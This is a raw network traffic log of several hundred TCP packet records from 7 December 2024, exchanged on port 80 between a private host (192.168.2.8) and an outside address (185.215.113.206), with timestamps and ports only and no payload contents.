Dec 7, 2024 15:06:45.155916929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.155945063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.156745911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.156783104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.156794071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.156821012 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.157598972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.157644987 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.157712936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.157757044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.158447981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.158494949 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.158529997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.158569098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.159317017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.159358025 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.159359932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.159425974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.160190105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.160238028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.160257101 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.160298109 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.161123991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.161135912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.161170959 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.161184072 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.161930084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.161976099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.162123919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.162166119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.163039923 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.163074970 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.163086891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.163111925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.163670063 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.163716078 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.163770914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.163815975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.164576054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.164621115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.164697886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.164742947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.165432930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.165481091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.165569067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.165612936 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.166347980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.166394949 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.166429043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.166466951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.167186022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.167233944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.167268038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.167315960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.168298960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.168309927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.168349028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.169162989 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.169190884 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.169213057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.169229984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.169970989 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.170020103 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.170205116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.170257092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.171570063 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.171622992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.171660900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.171703100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.172993898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.173038006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.173065901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.173108101 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.173585892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.173634052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.173669100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.173715115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.174288988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.174335957 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.174349070 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.174384117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.174880028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.174930096 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.174967051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.175013065 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.175602913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.175649881 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.175651073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.175688028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.176042080 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.176054955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.176086903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.176098108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.219033957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.219116926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.219188929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.219232082 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.219475985 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.219521046 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.219624043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.219677925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.220529079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.220577955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.220578909 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.220617056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.221251965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.221302032 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.221360922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.221401930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.222323895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.222374916 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.222436905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.222482920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.223098040 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.223136902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.223165035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.223231077 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.223848104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.223897934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.224000931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.224046946 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.224699974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.224747896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.224868059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.224920988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.225594044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.225641966 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.225712061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.225753069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.226460934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.226506948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.226599932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.226644993 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.227349043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.227369070 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.227391958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.227416992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.228205919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.228260994 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.228338957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.228380919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.229203939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.229279995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.229309082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.229348898 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.229968071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.230015993 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.230112076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.230154037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.230854034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.230900049 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.230967999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.231012106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.231794119 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.231837988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.232076883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.232142925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.232671022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.232719898 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.232841969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.232891083 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.233468056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.233516932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.233589888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.233638048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.234404087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.234456062 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.234477043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.234519005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.235239029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.235287905 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.235367060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.235414982 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.275721073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.275779009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.275793076 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.275816917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.276165962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.276216030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.276272058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.276315928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.277066946 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.277112007 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.277167082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.277215004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.277880907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.277925968 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.343425035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.343497992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.343524933 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.343564034 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.343660116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.343705893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.343792915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.343838930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.344796896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.344866991 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.344892979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.344973087 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.345448017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.345460892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.345503092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.346168995 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.346218109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.346220970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.346257925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.346939087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.346982002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.346990108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.347032070 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.347829103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.347871065 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.347886086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.347902060 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.348709106 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.348758936 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.348797083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.348840952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.349602938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.349615097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.349651098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.349666119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.384901047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.504877090 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.939126968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.939199924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975704908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975719929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975732088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975738049 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975749969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975752115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975763083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975768089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975778103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975790024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975799084 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975802898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975815058 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975816965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975836039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975845098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975848913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975860119 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.975867987 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.975891113 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976043940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976058006 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976089954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976113081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976176023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976187944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976198912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976212025 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976212025 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976219893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976224899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976238966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976239920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976250887 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976259947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976269960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976280928 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976288080 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976300955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976300955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.976326942 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.976341963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977152109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977164984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977176905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977189064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977200985 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977206945 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977217913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977226973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977231979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977245092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977257967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977258921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977269888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977272987 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977283955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977296114 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.977296114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977320910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.977339029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978007078 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978018999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978055954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978070021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978209019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978229046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978245974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978247881 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978262901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978266001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978277922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978281975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978291988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978291988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978310108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978326082 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978914976 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978957891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.978969097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.978982925 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979007006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.979022980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.979044914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979058027 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979068995 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979084969 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.979094028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979096889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.979106903 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979119062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979130030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.979130030 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:45.979151011 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:45.979178905 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.110824108 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.110901117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.110949039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.110985041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.111011982 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.111054897 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.111159086 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.111202955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.112034082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.112076998 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.112086058 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.112112045 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.112905025 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.112961054 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.112973928 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.113008976 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.113713026 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.113760948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.113771915 CET	80	49738	185.215.113.206	192.168.2.8
